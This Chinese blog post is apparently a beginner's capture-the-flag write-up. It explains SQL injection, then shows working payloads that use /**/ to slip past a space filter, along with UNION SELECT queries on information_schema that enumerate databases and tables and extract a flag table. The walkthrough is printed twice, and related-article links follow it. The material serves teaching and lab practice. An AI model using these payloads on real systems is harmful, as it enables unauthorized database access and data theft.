分享一个简单的sql注入
发布时间 - 2026-01-11 02:26:39 点击率:次所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多*网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到sql注入攻击。

分别输入1,2,3有对应的结果
使用'会报错,于是
构造常用的sql语句:1' and '1'='1
没有反应试一试1' and '1'='2
还是没反应,工具提示,应该是过滤了什么,改一下sql语句试一试
1and1=1
可以显示东西,经过判断过滤了空格,我们使用/**/来代替空格
试一试1'/**/and/**/'1'='1
发现有结果了:
于是构建sql语句:
判断有那些数据库:
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
可以看到结果:
查看有哪些数据表:
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
发现了flag的表,我们猜测应该是在web1数据库中并且字段就是flag(其实就在本页面的数据库中)
故:
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
本人也是初学者,参考了许多大佬的wp 自己写出来后有什么错误的地方,希望大家指出,谢谢!
根据页面提示,到底过滤了什么东西?可以知道一定过滤了什么....
分别输入1,2,3有对应的结果
使用'会报错,于是
构造常用的sql语句:1' and '1'='1
没有反应试一试1' and '1'='2
还是没反应,工具提示,应该是过滤了什么,改一下sql语句试一试
1and1=1
可以显示东西,经过判断过滤了空格,我们使用/**/来代替空格
试一试1'/**/and/**/'1'='1
发现有结果了:
于是构建sql语句:
判断有那些数据库:
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
可以看到结果:
查看有哪些数据表:
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
发现了flag的表,我们猜测应该是在web1数据库中并且字段就是flag(其实就在本页面的数据库中)
故:
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
总结
以上所述是小编给大家介绍的一个简单的sql注入,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对网站的支持!
# sql
# 注入
# Java面试题解析之判断以及防止SQL注入
# SQL注入原理与解决方法代码示例
# 通过ibatis解决sql注入问题
# Win2003服务器防SQL注入神器--D盾_IIS防火墙
# Sql注入工具_动力节点Java学院整理
# Sql注入原理简介_动力节点Java学院整理
# 寻找sql注入的网站的方法(必看)
# Mybatis防止sql注入的实例
# Hibernate使用中防止SQL注入的几种方案
# 有效防止SQL注入的5种方法总结
# 关于SQL注入中文件读写的方法总结
# 深入了解SQL注入
# 表单
# 数据库中
# 是在
# 就在
# 可以看到
# 报错
# 本页面
# 小编
# 大佬
# 应该是
# 发现了
# 有什么
# 发现有
# 有哪些
# 在此
# 它是
# 这类
# 来代替
# 给大家
# 希望大家
相关栏目:
【
网站优化151355 】
【
网络推广146373 】
【
网络技术251813 】
【
AI营销90571 】
相关推荐:
香港服务器网站卡顿?如何解决网络延迟与负载问题?
南京网站制作费用,南京远驱官方网站?
今日头条AI怎样推荐抢票工具_今日头条AI抢票工具推荐算法与筛选【技巧】
Laravel项目如何进行性能优化_Laravel应用性能分析与优化技巧大全
谷歌浏览器下载文件时中断怎么办 Google Chrome下载管理修复
Laravel如何使用Laravel Vite编译前端_Laravel10以上版本前端静态资源管理【教程】
Laravel怎么集成Log日志记录_Laravel单文件与每日日志配置及自定义通道【详解】
浅析上传头像示例及其注意事项
阿里云高弹*务器配置方案|支持分布式架构与多节点部署
简单实现Android验证码
Laravel 419 page expired怎么解决_Laravel CSRF令牌过期处理
Laravel如何使用Eloquent进行子查询
Chrome浏览器标签页分组怎么用_谷歌浏览器整理标签页技巧【效率】
如何在橙子建站上传落地页?操作指南详解
Android Socket接口实现即时通讯实例代码
如何用花生壳三步快速搭建专属网站?
如何批量查询域名的建站时间记录?
laravel怎么通过契约(Contracts)编程_laravel契约(Contracts)编程方法
iOS中将个别页面强制横屏其他页面竖屏
使用spring连接及操作mongodb3.0实例
Laravel Pest测试框架怎么用_从PHPUnit转向Pest的Laravel测试教程
Laravel如何处理和验证JSON类型的数据库字段
潮流网站制作头像软件下载,适合母子的网名有哪些?
Laravel如何使用Collections进行数据处理?(实用方法示例)
Laravel如何处理跨站请求伪造(CSRF)保护_Laravel表单安全机制与令牌校验
Laravel如何实现多对多模型关联?(Eloquent教程)
Laravel怎么实现一对多关联查询_Laravel Eloquent模型关系定义与预加载【实战】
大同网页,大同瑞慈医院官网?
北京专业网站制作设计师招聘,北京白云观官方网站?
Laravel如何记录自定义日志?(Log频道配置)
千问怎样用提示词获取健康建议_千问健康类提示词注意事项【指南】
Midjourney怎么调整光影效果_Midjourney光影调整方法【指南】
nodejs redis 发布订阅机制封装实现方法及实例代码
东莞专业网站制作公司有哪些,东莞招聘网站哪个好?
如何利用DOS批处理实现定时关机操作详解
详解Android图表 MPAndroidChart折线图
悟空浏览器如何设置小说背景色_悟空浏览器背景色设置【方法】
ChatGPT常用指令模板大全 新手快速上手的万能Prompt合集
公司网站制作价格怎么算,公司办个官网需要多少钱?
Python企业级消息系统教程_KafkaRabbitMQ高并发应用
Laravel怎么配置S3云存储驱动_Laravel集成阿里云OSS或AWS S3存储桶【教程】
如何快速搭建高效WAP手机网站吸引移动用户?
Laravel怎么多语言本地化设置_Laravel语言包翻译与Locale动态切换【手册】
齐河建站公司:营销型网站建设与SEO优化双核驱动策略
Android GridView 滑动条设置一直显示状态(推荐)
高端企业智能建站程序:SEO优化与响应式模板定制开发
Laravel的HTTP客户端怎么用_Laravel HTTP Client发起API请求教程
如何在 Telegram Web View(iOS)中防止键盘遮挡底部输入框
使用C语言编写圣诞表白程序
Laravel如何实现用户角色和权限系统_Laravel角色权限管理机制
上一篇:北京网站建设报价差异为何如此大?
上一篇:北京网站建设报价差异为何如此大?

